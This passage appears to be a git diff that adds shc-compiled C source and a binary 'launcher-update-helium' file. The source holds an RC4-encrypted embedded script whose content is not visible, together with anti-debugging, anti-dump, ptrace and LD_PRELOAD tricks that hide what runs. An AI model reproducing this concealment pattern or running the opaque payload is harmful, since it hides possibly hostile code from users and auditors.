"\241\134\356\222\356\046\036\300\201\346\367\001\047\316\170\354" + "\012\312\053\112\364\017\245\066\315\250\337\120\050\301\325\175" + "\005\214\215\050\232\026\007\271\270\016\364\357\072\334\341\145" + "\200\026\040\245\225\116\156\365\362\320\046\020\040\001\101\166" + "\132\222\312\371\356\321\026\173\051\024\312\265\312\250\216\356" + "\266\075\150\237\372\114\306\166\372\072\206\004\241\030\033\236" + "\011\034\317\316\127\317\006\245\213\073\262\042\211\130\255\144" + "\076\146\333\271\220\121\174\241\101\223\255\251\311\036\331\370" + "\023\333\256\376\374\134\145\015\023\055\203\366\353\134\034\336" + "\062\223\332\354\034\314\337\041\311\141\320\305\002\030\024\171" + "\365\241\375\056\047\175\033\204\374\135\367\364\120\034\017\322" + "\040\004\073\376\340\217\116\154\052\214\054\020\101\024\347\114" + "\220\241\164\123\107\140\050\120\270\025\024\060\240\135\050\102" + "\211\077\307\102\061\357\176\366\033\300\023\356\106\047\135\373" + "\122\316\230\234\315\203\300\030\121\127\375\367\344\212\272\275" + "\362\245\364\147\174\044\002\054\321\002\273\262\202\145\023\271" + "\101\077\233\117\235\120\327\232\270\023\007\217\354\015\026\240" + "\053\136\166\106\340\241\133\343\040\224\315\025\204\034\332\112" + "\263\210\152\146\241\161\157\004\001\267\154\236\236\354\314\036" + "\236\070\243\226\004\322\344\344\143\111\027\167\100\011\174\157" + "\063\150\173\332\002\254\212\015\267\221\236\114\340\301\335\211" + "\160\337\301\336\026\256\214\105\144\213\120\220\076\207\377\153" + "\140\033\271\011\355\226\042\071\257\072\170\361\065\244\155\041" + "\277\035\016\255\123\012\241\155\215\165\346\066\347\075\350\104" + "\047\217\002\150\056\007\271\043\313\065\166\074\327\015\027\017" + "\333\317\114\060\347\127\110\223\023\336\115\327\166\057\324\040" + "\362\052\306\300\071\164\037\150\341\227\021\204\215\261\377\024" + "\074\256\104\227\337\011\261\014\241\110\115\147\227\014\242\013" + "\152\037\234\242\337\131\366\223\065\243\155\032\262\071\113\023" + "\100\310\251\254\000\055\306\240\073\022\372\002\130\151\101\054" + "\310\155\356\173\356\040\176\221\145\033\020\311\116\022\323\376" + "\306\153\126\022\153\013\075\072\055\371\033\114\177\312\055\061" + "\221\344\307\051\236\376\370\311\245\327\345\274\203\315\120\113" + "\376\161\273\251\016\207\324\150\361\055\210\235\343\177\321\021" + "\321\103\170\044\253\140\053\352\076\002\031\272\271\336\024\060" + "\357\376\010\121\077\130\120\107\356\136\357\121\060\065\276\167" + "\342\237\262\227\312\054\077\231\070\376\142\245\265\120\211\072" + "\204\273\310\346\354\104\137\062\371\024\125\223\135\014\173\314" + "\105\357\331\213\047\247\276\254\136\065\071\232\201\357\174\062" + "\054\114\330\045\251\341\265\130\262\103\227\270\062\122\301\365" + "\353\317\125\101\041\372\307\242\321\142\341\207\157\357\347\347" + "\043\300\372\250\266\056\156\232\221\133\242\220\315\370\157\247" + "\040\310\231\264\136\157\255\327\027\342\161\160\302\012\031\226" + "\003\276\363\201\033\240\027\117\160\062\160\077\232\340\065\334" + "\111\373\240\275\017\010\155\245\305\022\007\013\074\347\377\245" + "\355\224\356\331\123\070\060\362\105\141\267\200\045\035\071\362" + "\354\153\012\164\162\332\166\143\310\042\041\106\203\136\110\114" + "\025\220\013\255\066\064\221\371\146\341\333\030\146\370\202\063" + "\361\270\111\133\151\220\265\135\014\206\370\133\342\225\001\014" + "\241\365\277\043\212\206\004\356\055\241\157\150\144\231\360\223" + "\237\207\255\354\331\371\110\336\244\264\016\172\256\370\234\036" + "\260\325\210\110\101\125\351\053\353\153\362\377\133\103\246\031" + "\273\324\225\230\357\314\150\203\147\121\203\346\245\215\226\257" + "\040\221\027\074\240\325\077\252\170\326\045\333\234\254\162\265" + "\123\036\165\046\350\176\274\165\011\270\311\311\255\136\052\212" + "\147\271\057\016\271\144\236\152\166\252\266\050\221\026\272\013" + "\044\156\335\145\156\133\225\122\110\027\117\237\002\016\343\100" + "\055\106\137\131\114\346\357\070\337\312\131\223\223\137\326\027" + "\356\353\142\063\213\211\273\313\334\220\005\361\364\031\107\006" + "\177\220\110\122\224\323\270\322\377\041\041\161\244\055\205\200" + "\210\175\216\116\030\011\271\033\074\066\327\232\144\116\067\051" + "\322\310\231\145\103\010\047\021\060\352\375\310\315\220\164\003" + "\241\120\265\132\121\022\115\306\206\333\103\100\203\000\226\061" + "\357\375\153\267\176\105\252\133\163\221\221\206\154\154\306\076" + "\361\335\031\005\270\336\324\153\255\216\174\035\056\112\173\103" + "\205\060\261\205\111\365\345\024\140\012\210\112\227\273\262\165" + "\377\356\150\247\260\271\305\234\164\234\277\354\142\177\036\217" + "\162\350\005\235\217\274\324\121\245\360\324\004\133\010\360\062" + "\264\215\332\145\106\237\001\273\074\300\247\236\100\306\056\263" + "\257\063\121\076\360\045\220\226\025\144\232\161\155\213\244\041" + "\031\176\206\140\036\210\033\132\111\303\371\211\211\047\075\071" + "\133\216\167\114\264\007\342\312\154\175\074\331\010\340\373\041" + "\137\201\201\175\011\235\327\123\141\320\335\353\370\032\044\123" + "\251\233\237\135\243\202\050\017\377\144\351\007\104\344\051\244" + "\145\252\041\157\110\371\302\251\312\240\224\302\272\270\026\143" + "\124\266\301\367\070\351\007\067\115\360\077\222\324\150\066\072" + "\023\130\252\134\121\155\005\034\015\231\336\310\122\365\053\246" + "\253\355\236\343\327\245\033\044\226\132\267\152\303\356\245\327" + "\106\120\063\230\275\070\264\313\322\223\223\044\210\277\313\064" + "\254\151\027\203\016\063\250\244\216\140\017\121\116\265\051\224" + "\005\134\055\303\225\341\216\150\164\041" +#define chk1_z 22 +#define chk1 ((&data[9295])) + "\127\061\215\301\111\001\157\255\112\074\364\200\241\304\006\054" + "\307\017\037\251\120\001\166\253\121\326\200\021\320\174\272\165" +#define pswd_z 256 +#define pswd ((&data[9328])) + "\134\150\072\205\375\100\371\103\307\271\173\232\075\112\304\265" + "\134\066\363\160\224\311\107\006\023\245\271\317\115\357\312\242" + "\265\144\036\202\327\027\306\237\321\102\071\016\214\375\304\351" + "\064\267\131\310\201\240\316\224\106\210\143\224\167\056\066\055" + "\222\124\257\151\154\166\010\075\271\102\114\105\100\020\056\164" + "\310\207\074\111\050\013\335\156\224\101\003\013\157\071\070\002" + "\216\350\153\373\137\164\070\030\267\205\135\367\225\214\153\136" + "\024\250\247\074\264\205\253\110\306\256\123\066\350\214\070\167" + "\164\244\162\323\031\253\354\320\060\112\307\306\326\063\044\353" + "\333\313\047\220\120\323\330\027\202\054\115\153\270\206\342\055" + "\052\124\001\103\377\355\024\060\067\333\366\016\017\032\371\352" + "\346\041\172\067\364\123\116\167\177\234\342\070\042\304\145\115" + "\031\147\220\031\125\244\111\215\200\100\233\217\132\224\172\101" + "\266\364\170\252\110\307\042\307\144\004\377\206\311\145\324\342" + "\314\144\374\041\011\105\256\212\205\112\031\340\337\223\042\225" + "\210\233\100\320\142\142\230\307\147\227\116\060\375\042\023\311" + "\206\017\353\220\125\232\342\052\003\167\013\221\337\200\263\154" + "\176\224\304\260\041\205\371\063\125\166\355\313\201\007\120\335" + "\160\212\143\155\312\105\227" +#define chk2_z 19 +#define chk2 ((&data[9620])) + "\137\235\044\301\033\363\022\231\324\126\144\371\247\160\117\301" + "\276\105\027\336\210\344\022\011\242" +#define opts_z 1 +#define opts ((&data[9642])) + "\354" +#define shll_z 10 +#define shll ((&data[9643])) + "\026\377\006\331\065\033\265\065\054\040" +#define inlo_z 3 +#define inlo ((&data[9653])) + "\142\260\112" +#define xecc_z 15 +#define xecc ((&data[9657])) + "\360\177\155\100\273\333\214\005\140\237\121\161\006\267\337\167" + "\305" +#define lsto_z 1 +#define lsto ((&data[9673])) + "\353" +#define tst1_z 22 +#define tst1 ((&data[9678])) + "\314\146\350\211\070\236\047\267\006\211\242\131\356\055\216\352" + "\312\231\103\264\307\366\222\057\220\076"/* End of data[] */; +#define hide_z 4096 +#define SETUID 0 /* Define as 1 to call setuid(0) at start of script */ +#define DEBUGEXEC 0 /* Define as 1 to debug execvp calls */ +#define TRACEABLE 1 /* Define as 1 to enable ptrace the executable */ +#define HARDENING 0 /* Define as 1 to disable ptrace/dump the executable */ +#define BUSYBOXON 0 /* Define as 1 to enable work with busybox */ +#define MMAP2 0 /* Define as 1 to use syscall mmap2 */ + +#if HARDENING +static const char * shc_x[] = { +"/*", +" * Copyright 2019 - Intika ", +" * Replace ******** with secret read from fd 21", +" * Also change arguments location of sub commands (sh script commands)", +" * gcc -Wall -fpic -shared -o shc_secret.so shc_secret.c -ldl", +" */", +"", +"#define _GNU_SOURCE /* needed to get RTLD_NEXT defined in dlfcn.h */", +"#define PLACEHOLDER \"********\"", +"#include ", +"#include ", +"#include ", +"#include ", +"#include ", +"#include ", +"", +"static char secret[128000]; //max size", +"typedef int (*pfi)(int, char **, char **);", +"static pfi real_main;", +"", +"// copy argv to new location", +"char **copyargs(int argc, char** argv){", +" char **newargv = malloc((argc+1)*sizeof(*argv));", +" char *from,*to;", +" int i,len;", +"", +" for(i = 0; i 0) {", +" int i;", +"", +" if (secret[n - 1] == '\\n') secret[--n] = '\\0';", +" for (i = 1; i < argc; i++)", +" if (strcmp(argv[i], PLACEHOLDER) == 0)", +" argv[i] = secret;", +" }", +"", +" real_main = main;", +"", +" return real___libc_start_main(mymain, argc, argv, init, fini, rtld_fini, stack_end);", +"}", +"", +0}; +#endif /* HARDENING */ + +/* rtc.c */ + +#include +#include + +#include +#include +#include +#include +#include +#include + +/* 'Alleged RC4' */ + +static unsigned char stte[256], indx, jndx, kndx; + +/* + * Reset arc4 stte. + */ +void stte_0(void) +{ + indx = jndx = kndx = 0; + do { + stte[indx] = indx; + } while (++indx); +} + +/* + * Set key. Can be used more than once. + */ +void key(void * str, int len) +{ + unsigned char tmp, * ptr = (unsigned char *)str; + while (len > 0) { + do { + tmp = stte[indx]; + kndx += tmp; + kndx += ptr[(int)indx % len]; + stte[indx] = stte[kndx]; + stte[kndx] = tmp; + } while (++indx); + ptr += 256; + len -= 256; + } +} + +/* + * Crypt data. + */ +void arc4(void * str, int len) +{ + unsigned char tmp, * ptr = (unsigned char *)str; + while (len > 0) { + indx++; + tmp = stte[indx]; + jndx += tmp; + stte[indx] = stte[jndx]; + stte[jndx] = tmp; + tmp += stte[indx]; + *ptr ^= stte[tmp]; + ptr++; + len--; + } +} + +/* End of ARC4 */ + +#if HARDENING + +#include +#include +#include +#include +#define PR_SET_PTRACER 0x59616d61 + +/* Seccomp Sandboxing Init */ +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include +#include +#include + +#define ArchField offsetof(struct seccomp_data, arch) + +#define Allow(syscall) \ + BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \ + BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW) + +struct sock_filter filter[] = { + /* validate arch */ + BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField), + BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0), + BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), + + /* load syscall */ + BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)), + + /* list of allowed syscalls */ + Allow(exit_group), /* exits a process */ + Allow(brk), /* for malloc(), inside libc */ +#if MMAP2 + Allow(mmap2), /* also for malloc() */ +#else + Allow(mmap), /* also for malloc() */ +#endif + Allow(munmap), /* for free(), inside libc */ + + /* and if we don't match above, die */ + BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), +}; +struct sock_fprog filterprog = { + .len = sizeof(filter)/sizeof(filter[0]), + .filter = filter +}; + +/* Seccomp Sandboxing - Set up the restricted environment */ +void seccomp_hardening() { + if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { + perror("Could not start seccomp:"); + exit(1); + } + if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1) { + perror("Could not start seccomp:"); + exit(1); + } +} +/* End Seccomp Sandboxing Init */ + +void shc_x_file() { + FILE *fp; + int line = 0; + + if ((fp = fopen("/tmp/shc_x.c", "w")) == NULL ) {exit(1); exit(1);} + for (line = 0; shc_x[line]; line++) fprintf(fp, "%s\n", shc_x[line]); + fflush(fp);fclose(fp); +} + +int make() { + char * cc, * cflags, * ldflags; + char cmd[4096]; + + cc = getenv("CC"); + if (!cc) cc = "cc"; + + sprintf(cmd, "%s %s -o %s %s", cc, "-Wall -fpic -shared", "/tmp/shc_x.so", "/tmp/shc_x.c -ldl"); + if (system(cmd)) {remove("/tmp/shc_x.c"); return -1;} + remove("/tmp/shc_x.c"); return 0; +} + +void arc4_hardrun(void * str, int len) { + //Decode locally + char tmp2[len]; + char tmp3[len+1024]; + memcpy(tmp2, str, len); + + unsigned char tmp, * ptr = (unsigned char *)tmp2; + int lentmp = len; + int pid, status; + pid = fork(); + + shc_x_file(); + if (make()) {exit(1);} + + setenv("LD_PRELOAD","/tmp/shc_x.so",1); + + if(pid==0) { + + //Start tracing to protect from dump & trace + if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { + kill(getpid(), SIGKILL); + _exit(1); + } + + //Decode Bash + while (len > 0) { + indx++; + tmp = stte[indx]; + jndx += tmp; + stte[indx] = stte[jndx]; + stte[jndx] = tmp; + tmp += stte[indx]; + *ptr ^= stte[tmp]; + ptr++; + len--; + } + + //Do the magic + sprintf(tmp3, "%s %s", "'********' 21<<<", tmp2); + + //Exec bash script //fork execl with 'sh -c' + system(tmp2); + + //Empty script variable + memcpy(tmp2, str, lentmp); + + //Clean temp + remove("/tmp/shc_x.so"); + + //Sinal to detach ptrace + ptrace(PTRACE_DETACH, 0, 0, 0); + exit(0); + } + else {wait(&status);} + + /* Seccomp Sandboxing - Start */ + seccomp_hardening(); + + exit(0); +} +#endif /* HARDENING */ + +/* + * Key with file invariants. + */ +int key_with_file(char * file) +{ + struct stat statf[1]; + struct stat control[1]; + + if (stat(file, statf) < 0) + return -1; + + /* Turn on stable fields */ + memset(control, 0, sizeof(control)); + control->st_ino = statf->st_ino; + control->st_dev = statf->st_dev; + control->st_rdev = statf->st_rdev; + control->st_uid = statf->st_uid; + control->st_gid = statf->st_gid; + control->st_size = statf->st_size; + control->st_mtime = statf->st_mtime; + control->st_ctime = statf->st_ctime; + key(control, sizeof(control)); + return 0; +} + +#if DEBUGEXEC +void debugexec(char * sh11, int argc, char ** argv) +{ + int i; + fprintf(stderr, "shll=%s\n", sh11 ? sh11 : ""); + fprintf(stderr, "argc=%d\n", argc); + if (!argv) { + fprintf(stderr, "argv=\n"); + } else { + for (i = 0; i <= argc ; i++) + fprintf(stderr, "argv[%d]=%.60s\n", i, argv[i] ? argv[i] : ""); + } +} +#endif /* DEBUGEXEC */ + +void rmarg(char ** argv, char * arg) +{ + for (; argv && *argv && *argv != arg; argv++); + for (; argv && *argv; argv++) + *argv = argv[1]; +} + +void chkenv_end(void); + +int chkenv(int argc) +{ + char buff[512]; + unsigned long mask, m; + int l, a, c; + char * string; + extern char ** environ; + + mask = (unsigned long)getpid(); + stte_0(); + key(&chkenv, (void*)&chkenv_end - (void*)&chkenv); + key(&data, sizeof(data)); + key(&mask, sizeof(mask)); + arc4(&mask, sizeof(mask)); + sprintf(buff, "x%lx", mask); + string = getenv(buff); +#if DEBUGEXEC + fprintf(stderr, "getenv(%s)=%s\n", buff, string ? string : ""); +#endif + l = strlen(buff); + if (!string) { + /* 1st */ + sprintf(&buff[l], "=%lu %d", mask, argc); + putenv(strdup(buff)); + return 0; + } + c = sscanf(string, "%lu %d%c", &m, &a, buff); + if (c == 2 && m == mask) { + /* 3rd */ + rmarg(environ, &string[-l - 1]); + return 1 + (argc - a); + } + return -1; +} + +void chkenv_end(void){} + +#if HARDENING + +static void gets_process_name(const pid_t pid, char * name) { + char procfile[BUFSIZ]; + sprintf(procfile, "/proc/%d/cmdline", pid); + FILE* f = fopen(procfile, "r"); + if (f) { + size_t size; + size = fread(name, sizeof (char), sizeof (procfile), f); + if (size > 0) { + if ('\n' == name[size - 1]) + name[size - 1] = '\0'; + } + fclose(f); + } +} + +void hardening() { + prctl(PR_SET_DUMPABLE, 0); + prctl(PR_SET_PTRACER, -1); + + int pid = getppid(); + char name[256] = {0}; + gets_process_name(pid, name); + + if ( (strcmp(name, "bash") != 0) + && (strcmp(name, "/bin/bash") != 0) + && (strcmp(name, "sh") != 0) + && (strcmp(name, "/bin/sh") != 0) + && (strcmp(name, "sudo") != 0) + && (strcmp(name, "/bin/sudo") != 0) + && (strcmp(name, "/usr/bin/sudo") != 0) + && (strcmp(name, "gksudo") != 0) + && (strcmp(name, "/bin/gksudo") != 0) + && (strcmp(name, "/usr/bin/gksudo") != 0) + && (strcmp(name, "kdesu") != 0) + && (strcmp(name, "/bin/kdesu") != 0) + && (strcmp(name, "/usr/bin/kdesu") != 0) + ) + { + printf("Operation not permitted\n"); + kill(getpid(), SIGKILL); + exit(1); + } +} + +#endif /* HARDENING */ + +#if !TRACEABLE + +#define _LINUX_SOURCE_COMPAT +#include +#include +#include +#include +#include +#include +#include + +#if !defined(PT_ATTACHEXC) /* New replacement for PT_ATTACH */ + #if !defined(PTRACE_ATTACH) && defined(PT_ATTACH) + #define PT_ATTACHEXC PT_ATTACH + #elif defined(PTRACE_ATTACH) + #define PT_ATTACHEXC PTRACE_ATTACH + #endif +#endif + +void untraceable(char * argv0) +{ + char proc[80]; + int pid, mine; + + switch(pid = fork()) { + case 0: + pid = getppid(); + /* For problematic SunOS ptrace */ +#if defined(__FreeBSD__) + sprintf(proc, "/proc/%d/mem", (int)pid); +#else + sprintf(proc, "/proc/%d/as", (int)pid); +#endif + close(0); + mine = !open(proc, O_RDWR|O_EXCL); + if (!mine && errno != EBUSY) + mine = !ptrace(PT_ATTACHEXC, pid, 0, 0); + if (mine) { + kill(pid, SIGCONT); + } else { + perror(argv0); + kill(pid, SIGKILL); + } + _exit(mine); + case -1: + break; + default: + if (pid == waitpid(pid, 0, 0)) + return; + } + perror(argv0); + _exit(1); +} +#endif /* !TRACEABLE */ + +char * xsh(int argc, char ** argv) +{ + char * scrpt; + int ret, i, j; + char ** varg; + char * me = argv[0]; + if (me == NULL) { me = getenv("_"); } + if (me == 0) { fprintf(stderr, "E: neither argv[0] nor $_ works."); exit(1); } + + ret = chkenv(argc); + stte_0(); + key(pswd, pswd_z); + arc4(msg1, msg1_z); + arc4(date, date_z); + if (date[0] && (atoll(date) 1) ? ret : 0; /* Args numbering correction */ + while (i < argc) + varg[j++] = argv[i++]; /* Main run-time arguments */ + varg[j] = 0; /* NULL terminated array */ +#if DEBUGEXEC + debugexec(shll, j, varg); +#endif + execvp(shll, varg); + return shll; +} + +int main(int argc, char ** argv) +{ +#if SETUID + setuid(0); +#endif +#if DEBUGEXEC + debugexec("main", argc, argv); +#endif +#if HARDENING + hardening(); +#endif +#if !TRACEABLE + untraceable(argv[0]); +#endif + argv[1] = xsh(argc, argv); + fprintf(stderr, "%s%s%s: %s\n", argv[0], + errno ? ": " : "", + errno ? strerror(errno) : "", + argv[1] ? argv[1] : "" + ); + return 1; +} diff --git a/launcher-update-helium b/launcher-update-helium new file mode 100755 index 0000000000000000000000000000000000000000..8d8845e2dbcdc9d473ba189b74b7809db24a40e9 GIT binary patch literal 24368 zcmeIaWmr{R*EYQA4y8enl)UdIzV3>vjQ-DES(lHdG zgcht`LU#aBf=R>3!SN*Q1PmYWxJV2oS3(gWMKwyCe^Np;4#ALJ8e0A*J%QH4P)vpp zh3x*;GDuJo424mmc*qV9>Z18SsUsOm4?{8X-|<*ba@Zd<2OEWB=utbUHvIx9dH7wiTCuIRLsIefAFxa1V?r6I| zDF<2~L!lT@gDCWOgAL;TCuKpR|A~jO)1UFOh5CQyhvEOU!{n)pwlhX6{7IeB@h}t< z?;@~+>iK`$FqelOI^N&TpD_BoV<`G`AZr5ofUY%l9YYv)2&@sx<*1w*@KCuSdE2Q) zn^_gD0dl!-pDiA3%LPgO(hzcXw3ZYXa<&z4c69aj6Y!Ik6p$1b^mG#xMcOf<{XyfR z#0rHq!j!Nf40EqM_)_RJfarB;t;tc6`5BLafyV!A0RTGwKVg{IU+`Cd!Rf#NS^kS3 z=D+Fx1yA}59{U$O>@T>}U+{;2!L|N^i~VI>Q0@O)-Jbphhjjm&KL20v^uOSof5C13 zf7Y0t^aa@961;@G#I;advY>7+6_5Lvih0++5M)w?L`>S49{M8_YAbP!q(AzC6WiTBe)JB zAKr|PL{L5?(1i>dW*x;`2kz*Lau~f%VsK$J-l2pv`+fak_(nw(4&BG-sT>J(9KkVb z2qfq~f`bA5Zo@}#y5A^RpO4^7M{)H10Id)In3&PmH-w)&q7PF-F$931OMnCjkKpK~ z8;MgM!69FmMz4hGL4KeyV;YMRst4iFAEt3Dp?VO8sVRgAD?vw;E;up2o3s+D3+WU8 zMqx0eBRKle3@L>l!AXzk>mI?$kKo2faEc?iRyALyq9kx{YZuN~j(*UK$JtXp$0&fpA(>7kSK3LNO3dkLn_ic}ge-!WmHAe~*46@Z5?62jy0-Uz{9@W@6l?8AO|cq?Jc@7RYDT|jim*$s{qr<6bs;vFFQ z+{7VhoXrpqElqR%NWK>0u_3+@$(KVsv_#F7A^ArT4=t^8c}Tth;-RH#E(ytJK|HiX z&4nQO6o`kW$2oT-9|!T!k~C+DBBAxJr zGYeoqhcpyGb{%*udFX?`e3v>MT4~b!)B<6^#q2-3U3OVFJ!5s&FY|R5w8k3Zz7J z6RST44+rHFsw+iRW9DYybZkG|rXM)lf@AelR8fKi#-RZM-H%8mynd7}aMX(Ibsq8!>Dd9FvAp1vvLuFrp(ngLc4XIM4Do|AXyA0 zJY01PE8Jxo3pHN;qvH)-6b6NW$JPyl8w#Fq8=5EJ@sUU__5(b&efHb#;bCN>KXEmX z9M0W@uGoY~==QCJZoGQ%2h7`NEr1#@^n>hUBWEFR@sUVxu}E!@N(K-R0(rdZ&Dh92 zpb@W{6dMW66hN2=bH=wb|3ZbpQt%$Mm9>LrSp^Hjj zR*tRf24QCncR)VSSY{#4eGkfx<|b6d1iW4-SDxnB{@6CaH9{Q7_9@V*pW#GmJmf`< zAQNea^idDZ$dF#-f5GfP5P1A;C>A^+aurF);=r5@kL?9E$Rf-ZKq;Z6z)$Kn6c-HR zKTsKfVpZ3WmGL$Prv~LP0dg2`xCXZwgeS-!i@yzxFm?bQ+YHj@K}Kmqg;4xw2up|s zp)!D9q{3VbG>C*3s0e}WobVchTJ;1S=!QAS20rG&nE^(m?C=!Z;%9^J+;Vjky9`Z6pT@~oFrw`U? zFqypu7f2b%1^fXQs>7fZ!!U0uFit>C-QSkYz(l1VA`OWVohU7BIGYaE75%d>XB- z1M+Wxuvu}?i&uROs?i5kPjzV46jY}knqeS)ZRDV5iy=%I<)e%ng~fuK2IKc64+`@J z7?>T&0UOciB>+6&pe6Fi{8}1-57?|5#K^P+k^%)Q;BM{!JSWscYc~Lv&@p)+|IqUT zz^2d`4TMpkuy<$->qs7bXlx0}7y1|mY#Y(o$Pw%b8tVt6$LKL=p~mnW=+&Za@sJpF zJ6uOwoZEzE6tL(e;MoIc?i`dk6)Msp7s`Vh@DLt21oMZq<^edz475O%!yAd=8Ncrs zBH#*~%nooeJ7C_#s4H;|+^di+MFclE1(^E2Mti0Ko}aDZ}WAqy0q#y;`&_3lf7W zHF+9U1;&lv8TA2ZjuB+ka7P53{tzGm1D^#0pZz`XUFeDf>vb*k^-nzuR8eqIzF7yV z&?=4x!L_L5$rh1GK~u;qHSo2d4{FkS9(m0vH9%kM%%1#jAu^C542O{p6Ub74#nFj~ z0dfV+s$k+)oo!d006BoOHj$u<6>B&F-Obc*AP8u5An$1O?T8JXFE1gGg9s`Ij=vi9 zgV~l885VkoAp5^jpVfr2r2MN(Ftb1pIoQD808js27-ytdjgDZ0-j(DPK)70yefb`fRjE6E_Qe<4pJ80 z2xQ20k{IH(;w=dm2(%J7uYg-_*60_Q-C*Fppqf38>;hvCC}?cU0s%bXqynTQf>9y@ zxd;FR65+9f4ipp~e;hpE_J9<%W4~&|f@=dj%;6D1(pdEJ;tm{CgKG;0K0;BNDqk^c zfx6)H)jvK_A#3pO;ol1U|DpoWxA#!<<8=0eo#Ax$X5qAjp$I4VFB6!mEQ>3`(aQnh z!D8iM?_(-##^UPc!NOs|;_K$&Nqr_q&B_K?~BA|qD=zI3!)x$$Jv<^i6yFLuY z0c4OqA;{Sh@=Z>uMozCuLE=jo0#js^;}zpTx`FJ$$6}Zg@Jk3Nra`t>z#l6ZqZI@y zlT$`vtB~PiUjZ4ReBS`DHIT3WL%#Z3o&#_xP?Obv$QORgUjv)~)CxJB{`TMeTmBiy zp8>hWKkQ9@%l81j1mrKF@nP(7%CR7Y6975^@CZ)TKfXM^76OjMH1q{Ys zH5>OJHzljr$i~Snq3AKL!tme=&Ci4HnAyqJ+qOVAZ`?vjD zfqyITZw3CXz`qsvw*voG;NJ@TTY-No@V`|6vmXkx{|S1wh8nad3u@5kF=T@tyg?&F z5tt=<(-CG53TB@bX73W_GY%tKAG6;I`n&)&jC}pz&<*0tpa*%-Fnf@y(VLFY1U8G7 z6Qk5%SI~))pm};Ur9o2+L7Ty5(fg}VpI%|GEwnx6a~<-t3oyd$$;u-_dBEUh=!7wO zBR^{a6|~y#Jv!h^W#o8(2&oFbut)N`XhZP7BS;=oXYg?l$y1}{;Hyz2kI5UA#sB*w zX8-t~ktNaBff||`p{X63`k-kPn%+Uv2WVP_rfq2Y0ZqT5=?0qOqc>sEqUmWgl|)lD zG&Mp~J2dq{(?9e6lkZUa6G8FfuUp&4F6;Vdv3}mGDU4jO!y zL-mk8>m@E9X|C#h_*cidCAS-J8kY@b)#8+%G1of?~>Y3h$9M;?0I41Th+t5M@{y=~555pSASD{O3-fbWZN z1LxWZnr+vGTbIhctKcu8BNI;lKR5ekwusiFuon()O68>c2Ap9(fN_UKIi|w=_7@5JE4SuDm?EUI zwq)QuR>hk7&@KUmQjw#ICNqq6+em#NzX~@tkIYmyN`NRePJQ{1>%oh3*|2v!PD%HYC8|R*JJXZ@!tU1s9 zV#}bQSomqP!I{f#e2UGwLE2N5w}TYYiu2_;?&0z>)!eIlqn-%&Y(B<`%S4>jz~sZUG0i!d|Bd>q_)36aU6q{Iw?8{yNzUce&pje=5B& zyX!r&psB`{bnYN3(4BeU=kxcqo2TxwI$avzJ(EN8V)WQR4E-^&sz=p7tJ#E$or&&^ zGqvQ$emB>w;`k=!*P89+X)-{1PLA^7;zC26U1H6#C%a2-8+XZyKka19UwB_!tSIp* zE%A|MVfxo@&DIPrfdR$N2Ukz2ve(KPF+31sVqBy9Dc1YBi!hUa0XHvYaD`&UH^oUm z*nKACX7ScJ7vURYA6@BHa}Fy6Z>MsSmAU%;T-_sXaS6CrrT<3MI%$vuuXE8)q9k{q zGUI$`V`E^{IZ4W38?Tp3qjd_3Jv#0TbNsANG>Ql=v0dU+O*HRlSMzH9e7*e|yFJJ@F0NF`RAmg&`3kO-YAo|@Mz-M?JApU1^x6)?}|{CGglI1 zmt1YaOhwgH|7#KV@WiEB_y`1uN(8aahThB7f{dG=J z%d>vug#92qaBs4i5E;W0KAaO_wfiiY=oV-npP}<*YP9v^Jl-WNBAhMxKuN8GegW^5 z`CooH%$u(p1y#jgJZjS$V0yfp*LA^Vrs`GmvmnDjMxhGT3r`lh8?ehvD1C4qQP1OF z#INvtU%mJ&tSgvQDS&O&_KIi*&8OG~QW^U*FIhW?%fQ{;S zk|f$c0`w+!&Bob|O2QJt_s^rwFRubiZA}C=JD~%hRuh zXnXQGPvdt}48sqs#~4h5$#6^bL`-$KJhtnj%gPg_xHydVM2aPztZXn7l&0v*#o4lo z%`;xTEVsnAX%fPvW!K3rn_#h3B2NCDmVi%RSxu^Y2;BUO5)51O#e%*089Q=E8d zG0V=>LCotc&$1@tum;C9946cG*(76^vHfEG*im4lzMaMHF*GS_{(L!SSy!xU9r4IC zpptjD(5pL?xuZgDC{wiI|Ih(m@W4G)y3)mc^sZjyrB8TW zCL;;^rrDc|VI%JDi5to=7A|edHYumM?IBhky>YBJ!UHew(&e~+_P||XA-5Q2z_pw+ zGRvIB>c~7RW1Bj$78a{*rTFZZV3*s@jnZRO*9p1TI9}za^~;}&sl)DPRg%E>Dm-;* z=JKeBe#zP1QpuqHQMgu#D4zBUt;BC7Sd8`_ldrRLM3Ud)TF8Abzj?BaLT`Qk0i9BC z_>1RN_>HTY3WvQ^mc9hujXjfu6(r7P5tf}a4OGdEWv|}^jNML4)X?imRl8ylDS39rKMI zbNkS%WmQXG!pd^ZpDtB-YzYj-m=}!yiawnAYBA^LO%8?d%2MS-=xy`OUgPI z4GO|h2|HufgE)3kGWPB#U+3?uA0HCB?6UA4pLKvpp=f$b&?c|!E4SMyb4-}PsTQ91 z?VJ_5`v${l>S|7ZdqspT zz*KR}htAllH}L1XX_bfhJVs5@`i9yTEbrL*+})EzeK;k>%c`*(xLAfw#3jhL@>ry9 zcMjH_3Bj+9SioD%H7CXi*Szyysd6Ii9n}+V!{)p1W)7k^U!?S3vXJ+#Kg{!E66*Y! zPvlRwck2nwE*{%*nLR;%p%WG{hxMp)+y+H@vQVUF)(lfppvbvr`MRmE_(^O}53#8~ z+V=iTyus_$eKwjNvC7+7XG*!&VWF&UibEz*IJIzpKsqzrCrIJA+?3Dkh|pu{OSTu? z(hfut=i~jYqncfA=B@;4ZwoGB7aeTYktY#k6P>=bdF4&z;(Iw7)ls8D&HBFbllR~D z-cUKOTV1}>jC224ce?9y6;ZbDWZoaV`@^gptZ;M6q9b(VE2#tY@;XJw)bS>2E zq8@48-DNNNv^ 